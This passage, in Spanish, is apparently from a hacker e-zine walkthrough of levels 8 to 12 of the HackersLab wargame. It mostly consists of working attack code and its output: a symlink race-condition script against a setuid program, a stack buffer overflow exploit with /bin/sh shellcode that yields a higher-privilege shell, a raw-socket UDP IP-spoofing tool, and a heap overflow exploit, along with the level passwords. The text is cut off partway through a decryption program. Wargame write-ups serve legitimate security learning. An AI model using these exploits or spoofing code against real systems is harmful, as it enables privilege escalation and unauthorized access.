en hackerslab encontre un fichero de palabras en un directorio, esto no lo os 
lo voy a decir asi que buscais el fichero vosotros, jejeje.
Bueno, os dare una pista, el fichero canta porque tiene nombre de palabras en 
ingles y esta en un directorio parecido a diccionario pero en ingles. Pero no 
me pidais que os diga el fichero por que no lo hare, ale. :P
Asi que use el john ripper pero esta vez diciendole que usara un diccionario de
palabras y eureka, el pass era wonderful.

				    **************************
				    *	Como hacer el level8? *
				    **************************

PRUEBA 9
telnet drill.hackerslab.org
login:level8
pass: wonderful

Texto Original:
This problem requires a good understanding of hacking techniques.  
Use the technique to the /usr/bin/ps2 , which was implemented by the 
famous 8lgm hackers club, in order to get the password to the next level.  
HINT:  A temporary file will be created in var/tmp2.

Texto Traducido:
Este problema requiere una buena comprensin de tcnicas que cortan. Utilice la
tecnica al /usr/bin/ps2, que fue puesto en ejecucion por los 8lgm famosos que 
los hackers aporrean, para conseguir la palabra de paso al nivel siguiente. 
INDIRECTA: Un fichero temporal sera creado en var/tmp2.

* Ojo todas las traducciones estan hechas con el traductor de altavista asi que
  no os riais, jajaja

		<Ripe: Yo no me habia dado cuenta>

Este metodo del cual nos hablan es el conocido race atack que unos conocidos 
hackers del grupo 8lgm pusieron en el servidor y que por race conditions de 
cada X pruebas sacan el contenido del pass de level siguiente. Esta claro que 
hay que buscar un fichero temporal que se crea. Lo primero sera saber que 
fichero es. Para ello usaremos un script tal que a la vez que ejecuta el 
programa en cuestion nos hace una lista de programas en el directorio temporal,
de esta forma con suerte una de las veces veremos que fichero temporal crea 
este programa.
Si no sabeis hacer un script vamos mal, pero bueno, tan solo es abrir el editor
vi teclear estas lineas y grabarlo con el nombre teveo por ejemplo.

------ cortar aqui ----------
while true
do
/usr/bin/ps2 &
ls -la
done
------ cortar aqui ----------

Despues de crearlo le daremos el atributo de ejecutable con el comando
chmod +x teveo y listo.
Lo ejecutamos y veremos algo de sus resultados
total 252
drwxrwxrwx   2 root     root       254976 Jan 12 07:37 .
drwxr-xr-x  18 root     root         1024 Sep 18  1999 ..
-rw-rw-r--   1 level9   level8          0 Jan 12 07:37 ps2.tmp
-rwxrwxr-x   1 level8   level8         42 Jan 12 07:36 teveo
Ahi vemos el fichero de marras, ps2.tmp
Ahora intentaremos hacerle un link al fichero en tiempo real

Script para ver si podemos hacer un link al fichero

------ cortar aqui -----------
while true
do
/usr/bin/ps2 &
rm -rf /var/tmp2/ps2.tmp &
ln -sf /var/tmp2/tepille /var/tmp2/ps2.tmp
done
------- cortar aqui ----------

		<Ripe: Que matado soy haciendolo en C :(>

Una vez hecho lo ejecutamos ./script > resultado para que el resultado de 
nuestro ataque quede guardado en nuestro fichero resultado. Despues de un buen 
rato lo paramos con crtl+c y lo editamos para verlo.
Y bualaaaaaaaaaaa entre casi todas las lineas del fichero que suelen poner file
exist encontramos lo siguiente.

file exist
Congratulations !!! your race attack success ~
level9 Password is  !secu!
file exist


				    **************************
				    *	Como hacer el level9? *
				    **************************

PRUEBA 10
telnet drill.hackerslab.org
login:level9
pass: !secu!

Texto Original:
What happens when you forget to perform `bound checking`?HINT: /etc/bof

Texto Traducido:
Que sucede cuando usted se olvida de realizar el `bound checking`?
HINT: /etc/bof

Pues veamos:
encontramos un programa con suid que ademas posiblemente se le puede hacer un 
buffer overflood. Si no sabeis que es un buffer overflow os recomiendo que 
hagais como yo, leer cuantos documentos encontreis al respecto sobre este tema.
No obstante en esta misma ezine podreis encontrar documentos relacionados con 
buenos ejemplos sobre el tema. Yo tan solo os dire que el buffer overflow se 
produce porque en una variable determinada la cual no esta controlada se meten 
mas datos de la cuenta, con lo cual todo lo sobrante sobrescribe parte de la 
pila y asi se produce tal fallo en el sistema. El tema es hacer un programa que
aproveche ese fallo para meter en esa parte que sobrescribe la pila una llamada
a una mini shell que hemos creado en un array en memoria, de forma que cuando 
el programa pete podamos hacer que nuestra shell arranque.

		<Ripe: 7a69#9 Desbordando el buffer por Doing y Ripe>

He aqui el fichero en cuestion.
-rws--x---   1 level10  level9     921107 Aug 12  1999 /etc/bof
Despues de probar varios exploit y hacer pruebas en el sistema usaremos
este exploit tan bonito.

overflow.c
------------------------- CORTAR AQUI -------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/bash");
}
---------------------------------------------------------------------------
compilamos con gcc -o overflow overflow.c
y ejecutamos de la siguiente forma
[level9@drill tmp]$ ./overflow
Using address: 0xbffffd78
[level9@drill tmp]$ /etc/bof $RET
hello~ xxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxx
xxxxxxxx
bash$ whoami
level10

Pues listo, ya estamos en nuestra shell overflodeada y podemos arrancar el 
programilla pass para ver el password siguiente. :))))
El tema del overflow es complicado asi que hacerme caso y leer todo lo que 
podais. Los docs incluidos en esta ezine os puedo asegurar que son muy buenos y
estan lleno de ejemplos que nos haran comprender a fondo este tan interesante 
bug.

				    ***************************
				    *	Como hacer el level10? *
				    ***************************

PRUEBA 11
telnet drill.hackerslab.org
login:level10
pass: Beauty and Beast

Texto Original:
A daemon in the Free Hacking Zone uses the UDP5555 port. This daemon is waiting
for the packets to arrive from the www.hackerslab.org host. The packets include
the email address of the recipient as well as the password for level 10. The 
daemon will notify the password for the next level via email as soon as it 
receives the packets from www.hackerslab.org. The format is as follows: `The 
password of level 10` / `email address`. 
Example: If the password for level 10 is `abcd` and the email address is 
`abc@aaa.ccc.ddd.rr`, then the message in the packet is: 
abcd/abc@aaa.ccc.ddd.rr
* Remember to send the packet from www.hackerslab.org.

Texto Traducido:
Un demonio en la zona que corta libre utiliza el acceso UDP5555. Este demonio 
esta esperando los paquetes para llegar del ordenador principal de 
www.hackerslab.org. Los paquetes incluyen el email address del recipiente asi 
como la palabra de paso para el nivel 10. El demonio notificara la palabra de 
paso para el nivel siguiente via el email tan pronto como reciba los paquetes 
de  formato de www.hackerslab.org.
Ejemplo: 
Si la palabra de paso para el nivel 10 es `abcd` y el email address es 
`abc@aaa.ccc.ddd.rr`,  entonces el mensaje en el paquete es 
abcd/abc@aaa.ccc.ddd.rr 
* Remember para enviar el paquete de www.hackerslab.org.

Pues ala, manos a la obra.

Bueno, necesitamos un programa que nos mande un paquete UDP spoofing, en el 
cual segun el formato que nos piden, tenemos que mandar a drill.hackerslab.org 
un paquete por el puerto 5555 en el cual tenemos que poner el password del 
level en el que estamos y despues la direccion mail donde queremos que nos 
manden la pass al siguiente level. Como veis lo dificil es spoofear, osea que
el paquete le tiene que llegar como si www.hackerslab.org fuese el que lo 
hubiese enviado. 
Asi que despues de buscar informacion al respecto, leer ezines y docs en 
internet escogi un ejemplo que me sirviera de base al programa que debia hacer 
y esto fue lo que resulto:

-------------------------- CORTAR POR AQUI --------------------------------

/************************************************************************/
/* spoofudp.c es un programa hecho para mandar un paquete UDP spoofing  */
/* compilar de la siguiente forma:                                      */
/*    /usr/ucb/cc -o spoofudp spoofudp.c                                */
/* Este programa solo se podra usar teniendo privilegios root           */
/* Modificacion de un programa para pasar el level10 de hackerslab.org  */
/* Programa base usado antes de su modificacion en:                     */
/* http://rootshell.com/archive-j457nxiqi3gq59dv/199708/arnudp.c.html   */
/* (c) 2001 by Jafar                                                    */
/************************************************************************/
 
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>

struct sockaddr sa;

main(int argc,char **argv)
{
int fd;
int x=1;
struct sockaddr_in *p;
struct hostent *he;
u_char gram[67]=
	{                          // Cabecera
	0x45,	0x00,	0x00,	0x43,    // 0x45 -> version=4 (IPv4), longitud de cabecera = 5 (*4=20)
					   // tipo de servicio = 0x00, longitud total 0x0043 = 67 bytes
	0x12,	0x34,	0x00,	0x00,    // identificacion= 0x1234 flags=000b offset de fragmento= 00000b
	0xFF,	0x11,	0,	0,       // tiempo de vida = 0xFF saltos (maximo) protocolo = 0x11 UDP
	0,	0,	0,	0,       // ip origen 4 bytes
	0,	0,	0,	0,       // ip destino 4 bytes
					   // Ahora la cabecera del datagrama
	0,	0,	0,	0,       // puerto origen 2bytes, puerto destino 2bytes
	0x00,	0x2F,	0x00,	0x00,    // longitud del mensaje = 0x002F(47 bytes) 2 bytes
                                 // checksum inicialmente a 0x0000 tambien 2 bytes
      // Datos a trasmitir (39 bytes-octetos)
 	'B','e','a','u','t','y',' ','a','n','d',' ','B','e','a','s','t','/',	
      'r','o','o','t','e','r','i','n','g','@','y','u','p','i','m','a','i','l','.','c','o','m'
 	};	

if(argc!=5)
	{
	fprintf(stderr,"usar: %s IP_origen puerto_origen IP_destino puerto_destino\n",*argv);
	exit(1);
	};

if((he=gethostbyname(argv[1]))==NULL)
	{
	fprintf(stderr,"imposible resolver ip origen\n");
	exit(1);
	};
bcopy(*(he->h_addr_list),(gram+12),4); // introducimos ip origen

if((he=gethostbyname(argv[3]))==NULL)
	{
	fprintf(stderr,"imposible resolver ip destino\n");
	exit(1);
	};
bcopy(*(he->h_addr_list),(gram+16),4); // introducimos ip destino

*(u_short*)(gram+20)=htons((u_short)atoi(argv[2])); // puerto origen
*(u_short*)(gram+22)=htons((u_short)atoi(argv[4])); // puerto destino

p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));

// Creamos el socket (paquete)
if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
	{
	perror("fallo socket");
	exit(1);
	};

#ifdef IP_HDRINCL
fprintf(stderr,"Tienes IP_HDRINCL :-)\n\n");
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
	{
	perror("fallo setsockopt IP_HDRINCL");
	exit(1);
        };
#else
fprintf(stderr,"No tienes IP_HDRINCL :-(\n\n");
#endif

// Manda realmente el paquete 
if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)
	{
	perror("fallo sendto");
	exit(1);
	};

printf("datagrama mandado:");
for(x=0;x<(sizeof(gram)/sizeof(u_char));x++)
	{
	if(!(x%4)) putchar('\n');
	printf("%02x",gram[x]);
	};
putchar('\n');

}

-------------------------- CORTAR POR AQUI --------------------------------

Vamos a ver si nos sirve
el programa una vez compilado se usa de la siguente manera
[level10@drill /tmp]$ ./spoofudp
usar: ./spoofudp IP_origen puerto_origen IP_destino puerto_destino
asi que lo llamaremos de la siguiente forma:
[level10@drill /tmp]$ ./udp www.hackerslab.org 1234 drill.hackerslab.org 5555
socket: Operation not permitted
Desilusion, parece ser que deberia ser root para hacer esto.
Probare ahora a mandarlo desde casa, osea mandando el paquete desde otra 
maquina y.......................
Mierda otra vez fallo.
EL problema esta vez es que mi isp filtra los paquetes y no deja de spoofear 
los paquetes. Bueno, esta prueba me dio muchos quebraderos de cabeza, pues tuve
que probar desde diferentes isp,s y lo que me extrao es que incluso usando 
redestb con el cual despues de unas pruebas con amiguetes no filtraba los 
paquetes, me di cuenta que tampoco me servia. Algun problema debia de existir, 
tal vez redestb no filtra al mandar paquetes en territorio nacional, pero 
cuando salen al exterior tal vez haya algo de por medio que si lo haga.
Estas pruebas las hice porque tb instale un escucha en hackerslab para ver por 
el puerto 6666 si me llegaban los paquetes, y tan solo llegaban si usaba como 
ip la mia original.
Una cosa que tb me llamo la atencion fue cuando hice pruebas de trazado a 
drill.hackerslab.org, la traza era diferente que si trazeaba www.hackerslab.org
el por que no lo se, pero realmente eran la misma maquina, pero mientras que la
traza a www.hackerslab.org daba que desde europa saltaba directamente a SEUL, 
osea territorio koreano, la traza a drill.hackerslab.org pasaba antes por dos 
servidores americanos, uno en Chicago y otro en Washinton. No me extraaria 
que algun cuerpo de seguridad este mirando las conexiones a ese server para
conocer la identidad de sus conciudadanos, jejejjejeje.
Pues bueno, pase muchos dias intentando esto, pero al final una amiga guiri se 
enrollo y ejecuto mi codigo desde una shell root que tenia. Asi que al final lo
pase aunque con un poco de ayuda y logre recibir el tan esperado mail. :)
En fin, que no importan los medios con tal de hacer el proposito.

				    ***************************
				    *	Como hacer el level11? *
				    ***************************

PRUEBA 12
telnet drill.hackerslab.org
login:level11
pass: Permission denied

PRUEBA 12:
Texto Original
You can find the /usr/local/bin/passwd.fail file by running the 
/usr/local/bin/hof program. However, we want the /usr/local/bin/passwd.success 
file which includes the password for the  next level.  Go get it!HINT:  Use the 
`heap` area.

Texto Traducido:
Usted puede encontrar el fichero / usr/local/bin/passwd.fail ejecutando 
programa /usr/local/bin/hof. Sin embargo, deseamos el fichero 
/usr/local/bin/passwd.success que incluye la palabra de paso para el nivel 
siguiente. Vaya consiguen it!HINT: Utilice el rea del `heap`.

Esta claro que aqui estamos hablando de un bufferoverflow de nuevo, pero en 
este caso en vez del stack tendremos que usar el espacio heap.
En esta cuestion tenemos que sacar el contenido del fichero passwd.sucess en el
cual esta la pass al level siguiente. Este programa pide un password y si lo 
metes mal te ensea el contenido del fichero passwd.fail, y si lo aciertas te 
ensea el contenido de passwd.success. El tema es que el programa no controla 
la entrada del pass y puede provocar un overflow. Sobre el tema de overflow 
heap no estaba muy al corriente aunque en la ezine vi que hicieron un 
comentario al respecto. Como siempre os remito a buscar documentacion y 
aprendais algo sobre el tema si es que realmente quereis conocerlo mas a fondo.
Vamos a utilizar un codigo para petar el programa y asi poder acceder al 
fichero en cuestion, en este caso el fichero passwd.success
Este codigo esta sacado de http://www.w00w00.org/articles.html donde 
encontraras un articulo sobre el tema bastante currado. En el encontraras 
ejemplos de programas vulnerables y sus respectivos exploits.

Yo estube haciendo pruebas y al final use este codigo para explotar el 
programa, tan solo tuve que modificarlo un poquitin y hacerle la llamada 
probando varios parametros distintos hasta dar con el fichero en cuestion.


-------------------------- CORTAR POR AQUI --------------------------------

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
 
#define BUFSIZE 256
 
#define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */
 
#define VULPROG "/usr/local/bin/hof"
#define VULFILE "/usr/local/bin/passwd.success" /* the file 'buf' will
be stored in */
 
/* get value of sp off the stack (used to calculate argv[1] address) */
u_long getesp()
{
   __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
}
 
int main(int argc, char **argv)
{
   u_long addr;
   register int i;
   int mainbufsize;
 
   char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";
 
   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
      exit(1);
      }
 
   memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");
 
   memset(buf + strlen(buf), 'A', DIFF);
   addr = getesp() + atoi(argv[1]);
 
   /* reverse byte order (on a little endian system) */
   for (i = 0; i < sizeof(u_long); i++)
      buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
 
   mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13;
 
   mainbuf = (char *)malloc(mainbufsize);
   memset(mainbuf, 0, sizeof(mainbuf));
 
   snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
               buf, VULPROG, VULFILE);
 
   printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",
             addr, VULFILE);
 
   system(mainbuf);
   return 0;
}

-------------------------- CORTAR POR AQUI --------------------------------

Bueno, despues de unas pruebas:
[level11@drill ...]$ ./exp 355
Overflowing tmpaddr to point to 0xbffffebb, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = r/local/bin/passwd.success
error opening r/local/bin/passwd.success: No such file or directory
[level11@drill ...]$ ./exp 354
Overflowing tmpaddr to point to 0xbffffeba, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = sr/local/bin/passwd.success
error opening sr/local/bin/passwd.success: No such file or directory
[level11@drill ...]$ ./exp 353
Overflowing tmpaddr to point to 0xbffffeb9, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = usr/local/bin/passwd.success
error opening usr/local/bin/passwd.success: No such file or directory
[level11@drill ...]$ ./exp 352
Overflowing tmpaddr to point to 0xbffffeb8, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = /usr/local/bin/passwd.success

н : I want to love forever
BINGOOOOOOOOOOOOOOOOOO, aqui tenemos el password, jejeje


				    ***************************
				    *	Como hacer el level12? *
				    ***************************

PRUEBA 13
telnet drill.hackerslab.org
login:level12
pass: I want to love forever

Texto Original:
Here's the problem for you to solve.  Your idol, Jungwoo could capture the 
communication contents by a sniffer while the administrators of HackersLab were
logging in level 13. He thought that he could get the password easily with this
but they were communicating secretly by using their own algorithm with the 
encrypted password `tu|tSI/Z^`.  While he was searching the system, he found a 
tool in /usr/bin/encrypt which they used  for coding.  Now, this is what you 
have to do.  You can analyze the encryption algorithm  by using the tool. Then,
break the encryption for the password.

Texto Traducido:
Aqui esta el problema para que usted solucione. Su idolo, Jungwoo podria 
capturar el contenido de la comunicacion por un succionador mientras que los 
administradores de HackersLab entraban llano 13. El penso que el podria 
conseguir la palabra de paso facilmente con esto pero se comunicaran 
secretamente usando su propio algoritmo con la palabra de paso cifrada 
`tu|tSI/Z^`. Mientras que el buscaba el sistema, el encontr en 
/usr/bin/encrypt de la herramienta que ellos utilizaron para la codificacion. 
Ahora, esto es lo que usted tiene que hacer. Usted puede  analizar el algoritmo
del cifrado usando la herramienta. Entonces, rompa el cifrado para la palabra 
de paso. 

Esta claro que hay que ver que diantres hace el programa encrypt para sacar la 
palabra de paso la palabra de paso una vez vista siendo tu|tSI/Z^ vemos que es 
de 9 digitos

Primero vamos a encryptar 1111 para ver como de complicada es la rutina
1 pass: 1112
2 pass: 1233
3 pass: 3456
4 pass: 3456
5 pass: 4564
6 pass: 6467

7 pass: 7979
8 pass: 7979
9 pass: 9798
10 pass: 98;9

11 pass: 9<;>
12 pass: 9<;>
13 pass: <;>:
14 pass: >:>=

Hice otras pruebas y vi que realmente el algoritmo cambia, osea que la formula 
la aplica segun el largo de su cadena, en este caso, la ejecuta total-2,y como 
nuestro codigo es de 9 digitos y las modificaciones se hacen de 7 en 7 lineas 
probemos como lo encripta.

0 pass: 111111111
1 pass: 11111111 2
2 pass: 1111112 33
3 pass: 111233 444
4 pass: 33444 5556
5 pass: 5556 88999
6 pass: 999 ;;;<>>
7 pass: >> @@@BBBC
8 pass: C FFHHHJJJ
9 pass: CFFHHHJJJ

Hasta aqui se sigue utilizando el mismo metodo, veamos si cambia la forma y 
cuando. Al final vemos que el algoritmo se repite y que la formula es la 
siguiente aplicada en un total de 393 lineas, de las cuales realmente se les 
aplica la formula en un  total de:
393 / 9  = 43,66666....
8 * 43 = 344
393 - 344 - 43 = 6
Tan solo hacia unos calculos eh? jejejje
Viendo esto y sabiendo que realmente de cada 9 pasos dos se repiten podemos 
deducir que la formula se aplica 43 * 8 + 6 osea un total de 350 veces en 
nuestro caso. Ahora tan solo queda ver que cual es la formula que aplica y 
hacer una inversa.

		<Ripe: Seguro que ya has dejado al lector atontado
               con tanta matematica xD>

Una vez visto vemos que hace lo siguiente:
va incrementando el numero de caracteres desplazados, osea primero 1 despues 2,
asi hasta 8, osea numero total de digitos - 1. En el bucle va insertando el 
numero del bucle, primero un 1, despues dos 2, tres 3 asi hasta ocho 8, pero a 
cada insersion se le suma el caracter que sale disparao por le lado izquierdo, 
osea el acarreo. :))

0 pass: 111111111
1 pass: 11111111 2 = 1 + el 1 desplazado
2 pass: 1111112 33 = 2 + 1 y 2 + 1
3 pass: 111233 444 = 3 + 1 y 3 + 1 y 3 + 1
4 pass: 33444 5556 = 4 + 1 y 4 + 1 y 4 + 1 y 4 + 2
5 pass: 5556 88999 = 5 + 3 y 5 + 3 y 5 + 4 y 5 + 4 y 5 + 4
6 pass: 999 ;;;<>> 
7 pass: >> @@@BBBC
8 pass: C FFHHHJJJ
9 pass: CFFHHHJJJ

Ya hemos visto el proceso primero harice un programa que haciera lo mismo que 
hacia el original asi no tendremos problemas de saber si realmente estamos en 
el cierto.

Pues na, hice un codigo llamado cripto.c el cual llego a emular perfectamente 
el programa original, una vez hecho esto, cambie el codigo para invertir el 
proceso y esto quedo.

Ah recuerdo que copiar y pegar no quedaria adecuado si al menos no lo habeis 
intentado eh? Asi que intentar hacerlos vosotros y codear un rato. A mi me 
sirvio de mucho y ademas me senti realmente bien cuando vi que rulaba. :))))

-------------------------- CORTAR POR AQUI --------------------------------

// DESENCIPTA.C by Jafar 2001
#include <stdio.h>
  int a;
  int b;
  int c;
  unsigned char cadena[9]={'t','u','|','t','S','I','/','Z','^'};
  unsigned char paso[9]  ={'0','0','0','0','0','0','0','0','0'};

  int imprime(void)
  { 
		// Visualizacion de la cadena resultante
  		printf("Cadena resultante:  ");
		for(c=0;c<(sizeof(cadena));c++)
		{
			printf("%c",cadena[c]);
		};
  		printf("\n");
  }

int main()
{

	// Primero desencriptamos las ultimas 6 operaciones

	// Operaciones 6 casilla
	if( cadena[8] - 6 >= 32) {paso[5] = cadena[8] - 6;} else {paso[5] = cadena[8] - 6 + 93;}
	if( cadena[7] - 6 >= 32) {paso[4] = cadena[7] - 6;} else {paso[4] = cadena[7] - 6 + 93;}
	if( cadena[6] - 6 >= 32) {paso[3] = cadena[6] - 6;} else {paso[3] = cadena[6] - 6 + 93;}
	if( cadena[5] - 6 >= 32) {paso[2] = cadena[5] - 6;} else {paso[2] = cadena[5] - 6 + 93;}
	if( cadena[4] - 6 >= 32) {paso[1] = cadena[4] - 6;} else {paso[1] = cadena[4] - 6 + 93;}
	if( cadena[3] - 6 >= 32) {paso[0] = cadena[3] - 6;} else {paso[0] = cadena[3] - 6 + 93;}
	paso[8] = cadena[2];
	paso[7] = cadena[1];
	paso[6] = cadena[0];


	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();

	// Operaciones 5 casilla
	if( cadena[8] - 5 >= 32) {paso[4] = cadena[8] - 5;} else {paso[4] = cadena[8] - 5 +93;}
	if( cadena[7] - 5 >= 32) {paso[3] = cadena[7] - 5;} else {paso[3] = cadena[7] - 5 +93;}
	if( cadena[6] - 5 >= 32) {paso[2] = cadena[6] - 5;} else {paso[2] = cadena[6] - 5 +93;}
	if( cadena[5] - 5 >= 32) {paso[1] = cadena[5] - 5;} else {paso[1] = cadena[5] - 5 +93;}
	if( cadena[4] - 5 >= 32) {paso[0] = cadena[4] - 5;} else {paso[0] = cadena[4] - 5 +93;}
	paso[8] = cadena[3];
	paso[7] = cadena[2];
	paso[6] = cadena[1];
	paso[5] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();

	// Operaciones 4 casilla
	if( cadena[8] - 4 >= 0) {paso[3] = cadena[8] - 4;} else {paso[3] = cadena[8] - 4 +93;}
	if( cadena[7] - 4 >= 0) {paso[2] = cadena[7] - 4;} else {paso[2] = cadena[7] - 4 +93;}
	if( cadena[6] - 4 >= 0) {paso[1] = cadena[6] - 4;} else {paso[1] = cadena[6] - 4 +93;}
	if( cadena[5] - 4 >= 0) {paso[0] = cadena[5] - 4;} else {paso[0] = cadena[5] - 4 +93;}
	paso[8] = cadena[4];
	paso[7] = cadena[3];
	paso[6] = cadena[2];
	paso[5] = cadena[1];
	paso[4] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();
	// Operaciones 3 casilla
	if( cadena[8] - 3 >= 0) {paso[2] = cadena[8] - 3;} else {paso[2] = cadena[8] - 3 +93;}
	if( cadena[7] - 3 >= 0) {paso[1] = cadena[7] - 3;} else {paso[1] = cadena[7] - 3 +93;}
	if( cadena[6] - 3 >= 0) {paso[0] = cadena[6] - 3;} else {paso[0] = cadena[6] - 3 +93;}
	paso[8] = cadena[5];
	paso[7] = cadena[4];
	paso[6] = cadena[3];
	paso[5] = cadena[2];
	paso[4] = cadena[1];
	paso[3] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();

	// Operaciones 2 casilla
	if( cadena[8] - 2 >= 0) {paso[1] = cadena[8] - 2;} else {paso[1] = cadena[8] - 2 +93;}
	if( cadena[7] - 2 >= 0) {paso[0] = cadena[7] - 2;} else {paso[0] = cadena[7] - 2 +93;}
	paso[8] = cadena[6];
	paso[7] = cadena[5];
	paso[6] = cadena[4];
	paso[5] = cadena[3];
	paso[4] = cadena[2];
	paso[3] = cadena[1];
	paso[2] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();

	// Operaciones 1 casilla
	if( cadena[8] - 1 >= 0) {paso[0] = cadena[8] - 1;} else {paso[0] = cadena[8] - 1 +93;}
	paso[8] = cadena[7];
	paso[7] = cadena[6];
	paso[6] = cadena[5];
	paso[5] = cadena[4];
	paso[4] = cadena[3];
	paso[3] = cadena[2];
	paso[2] = cadena[1];
	paso[1] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();


// Bucle de operaciones
for (a=0; a<43; a++)
	{

	// Operaciones 8 casilla
	if( cadena[8] - 8 >= 32) {paso[7] = cadena[8] - 8;} else {paso[7] = cadena[8] - 8 + 93;} 
	if( cadena[7] - 8 >= 32) {paso[6] = cadena[7] - 8;} else {paso[6] = cadena[7] - 8 + 93;} 
	if( cadena[6] - 8 >= 32) {paso[5] = cadena[6] - 8;} else {paso[5] = cadena[6] - 8 + 93;} 
	if( cadena[5] - 8 >= 32) {paso[4] = cadena[5] - 8;} else {paso[4] = cadena[5] - 8 + 93;} 
	if( cadena[4] - 8 >= 32) {paso[3] = cadena[4] - 8;} else {paso[3] = cadena[4] - 8 + 93;} 
	if( cadena[3] - 8 >= 32) {paso[2] = cadena[3] - 8;} else {paso[2] = cadena[3] - 8 + 93;} 
	if( cadena[2] - 8 >= 32) {paso[1] = cadena[2] - 8;} else {paso[1] = cadena[2] - 8 + 93;} 
	if( cadena[1] - 8 >= 32) {paso[0] = cadena[1] - 8;} else {paso[0] = cadena[1] - 8 + 93;} 
	paso[8] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}
  
	// Visualizacion de la cadena resultante
  	imprime();

	// Operaciones 7 casilla
	if( cadena[8] - 7 >= 32) {paso[6] = cadena[8] - 7;} else {paso[6] = cadena[8] - 7 + 93;} 
	if( cadena[7] - 7 >= 32) {paso[5] = cadena[7] - 7;} else {paso[5] = cadena[7] - 7 + 93;} 
	if( cadena[6] - 7 >= 32) {paso[4] = cadena[6] - 7;} else {paso[4] = cadena[6] - 7 + 93;} 
	if( cadena[5] - 7 >= 32) {paso[3] = cadena[5] - 7;} else {paso[3] = cadena[5] - 7 + 93;} 
	if( cadena[4] - 7 >= 32) {paso[2] = cadena[4] - 7;} else {paso[2] = cadena[4] - 7 + 93;} 
	if( cadena[3] - 7 >= 32) {paso[1] = cadena[3] - 7;} else {paso[1] = cadena[3] - 7 + 93;} 
	if( cadena[2] - 7 >= 32) {paso[0] = cadena[2] - 7;} else {paso[0] = cadena[2] - 7 + 93;} 
	paso[8] = cadena[1];
	paso[7] = cadena[0];

	//Transferimos el resultado
	for (b=0;b<9;b++)
		{
		cadena[b]=paso[b];
		}

	// Visualizacion de la cadena resultante
	imprime();

	// Operaciones 6 casilla
	if( cadena[8] - 6 >= 32) {paso[5] = cadena[8] - 6;} else {paso[5] = cadena[8] - 6 + 93;}
	if( cadena[7] - 6 >= 32) {paso[4] = cadena[7] - 6;} else {paso[4] = cadena[7] - 6 + 93;}
	if( cadena[6] - 6 >= 32) {paso[3] = cadena[6] - 6;} else {paso[3] = cadena[6] - 6 + 93;}
